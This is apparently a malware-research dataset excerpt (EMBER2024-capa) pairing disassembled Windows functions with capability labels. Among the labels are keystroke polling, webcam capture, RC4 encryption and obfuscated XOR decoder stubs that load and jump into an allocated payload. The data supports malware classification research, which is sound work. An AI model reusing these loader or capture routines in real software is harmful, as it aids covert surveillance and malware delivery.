joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44e885
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x44e99d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x44e99d
mov eax, dword [esi + 0x3c]
push eax
call fcn.00465d1f
mov esi, eax
test esi, esi
je 0x44e99d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x44e99d
mov ecx, esi
call fcn.0044e7f0
cmp edi, eax
jge 0x44e99d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x44e923
mov dword [esp + 0x34], 1
jmp 0x44e97e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x44e99d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0044dd40
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x4666c3
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4666fb
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0046477a
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00464752
jmp 0x466707
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x467db8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x467dfa
call fcn.0046d86d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x467dfa
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x467df1
xor eax, eax
jmp 0x467e02
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00467e08
pop edi
pop esi
pop ebx
ret 4
Function at 0x46dd9d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x46ddcb
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46dde9
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0046dd03
jmp 0x46dde9
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46dde9
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0046dd03
test edi, edi
mov eax, edi
jne 0x46ddd3
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x402480
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x14c], esi
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0
lea eax, [ebp - 0x124]
mov ecx, eax
lea eax, [ebp - 0x13c]
mov edx, eax
mov eax, 1
call fcn.004029c0
call fcn.00402ac0
push eax
test eax, eax
jne 0x402665
mov eax, dword [ebp - 4]
test eax, eax
je 0x4024e4
jmp 0x40250c
push 0x105
lea eax, [ebp - 0x118]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_1
mov ecx, eax
lea edx, [ebp - 0x118]
lea eax, [ebp - 8]
call fcn.00402fc0
jmp 0x402665
call sub.KERNEL32.DLL_GetCommandLineA_1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
call fcn.004026f0
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
call fcn.00402750
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x402539
jmp 0x40253b
jmp 0x402552
dec dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, 0
jl 0x402552
jmp 0x402548
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
je 0x402552
jmp 0x402514
lea edx, [ebp - 0x144]
mov eax, edx
call fcn.00402af0
mov dword [ebp - 0x144], 0
mov ebx, dword [ebp - 0xc]
sub ebx, dword [ebp - 0x10]
mov esi, 1
lea edx, [ebp - 0x148]
mov eax, edx
call fcn.00402af0
mov dword [ebp - 0x148], 0
mov eax, dword [ebp - 0x10]
call fcn.00403000
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
mov ecx, ebx
mov edx, esi
call fcn.00403060
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x144]
call fcn.00403120
lea edx, [ebp - 8]
mov eax, edx
call fcn.00402af0
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0x144]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x4025dd
mov eax, dword [eax - 4]
cmp eax, 2
jge 0x4025e7
jmp 0x402665
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, 0x22
je 0x4025f2
jmp 0x402665
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
test eax, eax
je 0x4025ff
mov eax, dword [eax - 4]
mov al, byte [edx + eax - 1]
cmp al, 0x22
je 0x402609
jmp 0x402665
lea edx, [ebp - 0x148]
mov eax, edx
call fcn.00402af0
mov dword [ebp - 0x148], 0
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x40262a
mov ecx, dword [ecx - 4]
sub ecx, 2
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00403060
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
call fcn.00403120
lea edx, [ebp - 8]
mov eax, edx
call fcn.00402af0
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0x148]
mov dword [ebp - 8], eax
call fcn.00402bc0
lea edx, [ebp - 0x148]
mov eax, edx
call fcn.00402af0
mov dword [ebp - 0x148], 0
lea edx, [ebp - 0x144]
mov eax, edx
call fcn.00402af0
mov dword [ebp - 0x144], 0
pop eax
test eax, eax
je 0x4026af
mov edx, str._t_nAnsiString
lea eax, [ebp - 8]
call fcn.00403150
call fcn.00402c50
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x150]
mov esi, dword [ebp - 0x14c]
leave
ret
Function at 0x1001a410
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1001a41f
pop dword [ebp - 0x14]
mov eax, 0x85b014b9
add eax, 0x8a518f66
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xf7cc3263
sub dword [ebp - 0x24], 0xa979ed18
mov dword [ebp - 0x20], 0x3594ad92
sub dword [ebp - 0x20], 0x361614d
mov dword [ebp - 0x1c], 0x344e4cb2
sub dword [ebp - 0x1c], 0xe8020884
mov dword [ebp - 0x18], 0xa927ba26
add dword [ebp - 0x18], 0x56d845da
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xa0f9f852
sub dword [ebp - 0x24], 0x2c878efc
mov dword [ebp - 0x20], 0x1d489e46
sub dword [ebp - 0x20], 0xdbdc3cd1
mov dword [ebp - 0x1c], 0x3b298abe
sub dword [ebp - 0x1c], 0xd7ba1e52
mov dword [ebp - 0x18], 0xcf607541
sub dword [ebp - 0x18], 0xcf607541
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x410fc
push 0
call eax
mov ecx, 0x46f7
xor ebx, ebx
add ebx, eax
mov edx, 0xe1601584
sub edx, 0xd15b0384
add edx, dword [ebp - 0x14]
mov edi, 0x3cad8837
add edi, 0xa452302e
xor dword [ebp - 0xc], 0xdc0c8f90
mov esi, dword [edx]
mov dword [ebp - 8], 0x9e202ac7
xor esi, edi
mov dword [ebp - 0x10], 0x29fee669
mov dword [ebx], esi
xor dword [ebp - 0xc], edi
add ebx, 0xdbbdee34
sub ebx, 0xdbbdee30
add edx, 0x7d4e8383
add edx, 0x82b17c81
loop 0x1001a533
add eax, 0x10eaf
xor ebx, ebx
add ebx, eax
add eax, 0x1b9d9de3
add eax, 0xe4626222
mov ecx, 0x69b1388b
add ecx, 0xa64ec775
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x10030836
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10047018]
jne 0x10030840
repz ret
jmp fcn.10030e15
Function at 0x401b4b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x401b5a
pop dword [ebp - 0xc]
mov eax, 0x26e02a3b
add eax, 0xd95ff11f
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x606efd7
add dword [ebp - 0x1c], 0x484b5574
mov dword [ebp - 0x18], 0x24792312
sub dword [ebp - 0x18], 0xf245d6cd
mov dword [ebp - 0x14], 0x7436586b
sub dword [ebp - 0x14], 0x27ea143d
mov dword [ebp - 0x10], 0xbd03e77a
sub dword [ebp - 0x10], 0xbd03e77a
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x4a8e8139
sub dword [ebp - 0x1c], 0xd61c17e3
mov dword [ebp - 0x18], 0x5940c01c
sub dword [ebp - 0x18], 0x17d45ea7
mov dword [ebp - 0x14], 0x6c8bcfce
add dword [ebp - 0x14], 0xf6e39c9e
mov dword [ebp - 0x10], 0x89533754
add dword [ebp - 0x10], 0x76acc8ac
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x6462c5dd
sub eax, 0x6421f591
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3b32d
push 0
call eax
mov ecx, 0x4dfd
mov esi, eax
mov edx, 0x859135fd
sub edx, 0x854f85fd
add edx, dword [ebp - 0xc]
mov ebx, 0xdce79b56
xor dword [ebp - 8], edi
mov edi, dword [edx]
xor dword [ebp - 4], 0x7d70ebe2
sub edi, ebx
mov dword [ebp - 8], 0x820f3276
mov dword [esi], edi
add dword [ebp - 4], 0x2cb01dac
add esi, 4
add edx, 0x6618a531
add edx, 0x99e75ad3
loop 0x401c6b
add eax, 0xc238bc7f
add eax, 0x3dc86e48
xor ebx, ebx
add ebx, eax
add eax, 0xb02497ac
add eax, 0x4fdb6859
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x4027d1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push esi
push edi
xor esi, esi
xor edi, edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, 0x5c9f243
jg 0x402801
inc edi
cmp edi, 0x1e70dee2
jl 0x4027e0
cmp dword [0x4540fc], 0x400
jne 0x402853
push 0x449bfc
push str.jumopudigazipaham
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [ebp - 0x400]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
call fcn.00402a99
push esi
push esi
call fcn.00402ad3
pop ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00402970
fstp st(0)
push esi
call fcn.00402c63
add esp, 0xc
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x58bc6e
jg 0x402872
inc edi
cmp edi, 0xe52f
jl 0x402855
mov eax, dword [0x44c0c4]
mov dword [0x4540fc], eax
call fcn.0040252b
mov edi, 0x3078f
cmp dword [0x4540fc], 0x51f
jne 0x4028a0
push esi
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x402886
pop edi
xor eax, eax
pop esi
leave
ret 0x10

Function at 0x403fc0
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00403e91
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x406671
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44b340]
jne 0x40667b
repz ret
jmp fcn.004088bc
Function at 0x407163
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44b340]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404053
and dword [ebp - 0x14], 0
cmp dword [0x44dd0c], 0
mov dword [ebp - 0x18], eax
jne 0x407216
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4072be
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4072be
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x44dd0c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x44dd10], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x44dd14], eax
call edi
push eax
call esi
mov dword [0x44dd1c], eax
test eax, eax
je 0x407216
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x44dd18], eax
mov eax, dword [0x44dd18]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40726f
cmp dword [0x44dd1c], ecx
je 0x40726f
push eax
call esi
push dword [0x44dd1c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40726f
test ebx, ebx
je 0x40726f
call edi
test eax, eax
je 0x407266
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x407266
test byte [ebp - 8], 1
jne 0x40726f
or dword [ebp + 0x10], 0x200000
jmp 0x4072a2
mov eax, dword [0x44dd10]
cmp eax, dword [ebp - 0x18]
je 0x4072a2
push eax
call esi
test eax, eax
je 0x4072a2
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4072a2
mov eax, dword [0x44dd14]
cmp eax, dword [ebp - 0x18]
je 0x4072a2
push eax
call esi
test eax, eax
je 0x4072a2
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x44dd0c]
call esi
test eax, eax
je 0x4072be
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4072c0
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406671
leave
ret
Function at 0x42dd30
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4af3fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004a3a6b
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x42ddb2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004a126d
mov eax, dword [eax]
push 0x71ae44
push eax
call fcn.004936f4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004a3cf6
test bl, bl
je 0x42ddb2
push 0x71ae44
lea ecx, [esp + 0xc]
call fcn.004a4086
push 0x71ae50
lea ecx, [esp + 0xc]
call fcn.004a4086
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42ddee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004a3cf6
jmp 0x42deb9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x42de72
lea edx, [esp + 0x7c]
push 0x71ae4c
push edx
call fcn.004936f4
add esp, 8
test eax, eax
je 0x42de72
lea eax, [esp + 0x7c]
push 0x71ae48
push eax
call fcn.004936f4
add esp, 8
test eax, eax
je 0x42de72
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x42de02
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004a3cf6
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x42e6c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x42e722
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x42e730
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4af47b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x726620]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x42e868
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x42e796
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004a3cf6
xor eax, eax
jmp 0x42e8df
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004a3e33
push esi
lea ecx, [esp + 0xc]
call fcn.004a40c2
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42e8bd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.0042e6c0
test eax, eax
jne 0x42e8bd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.0042e6c0
test eax, eax
jne 0x42e8bd
lea eax, [esp + 0x14]
push 0x71ae60
push eax
call fcn.00494840
mov esi, eax
add esp, 8
test esi, esi
jne 0x42e89c
lea ecx, [esp + 0x14]
push 0x71ae5c
push ecx
call fcn.004947c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x42e89c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42e89f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004a3de3
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42e7ae
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004a3cf6
xor eax, eax
jmp 0x42e8df
mov byte [esi], 0
push 0x71ae58
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004a3cf6
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x442080
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4420ee
cmp si, 0x69
ja 0x4420ee
add esi, 0xffd0
cmp si, 0x11
je 0x4420be
push 0x11
call edi
test ax, ax
jge 0x4420be
or esi, 0x2000
cmp si, 0x10
je 0x4420d3
push 0x10
call edi
test ax, ax
jge 0x4420d3
or esi, 0x4000
cmp si, 0x12
je 0x4420e8
push 0x12
call edi
test ax, ax
jge 0x4420e8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4420fb
mov esi, 0xbd
jmp 0x4420af
cmp si, 0x6e
jne 0x442108
mov esi, 0xbe
jmp 0x4420af
cmp si, 0x6f
jne 0x4420a9
mov esi, 0xbf
jmp 0x4420af

Function at 0x443ac0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x736f28]
xor edx, edx
cmp eax, edx
jne 0x443ae6
xor eax, eax
mov byte [eax + 0x736e28], al
inc eax
cmp eax, 0x100
jl 0x443ace
mov dword [0x736f28], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x736e28
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x443b77
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x443b4a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x443b18
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x443bf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x443c43
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x443c2a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret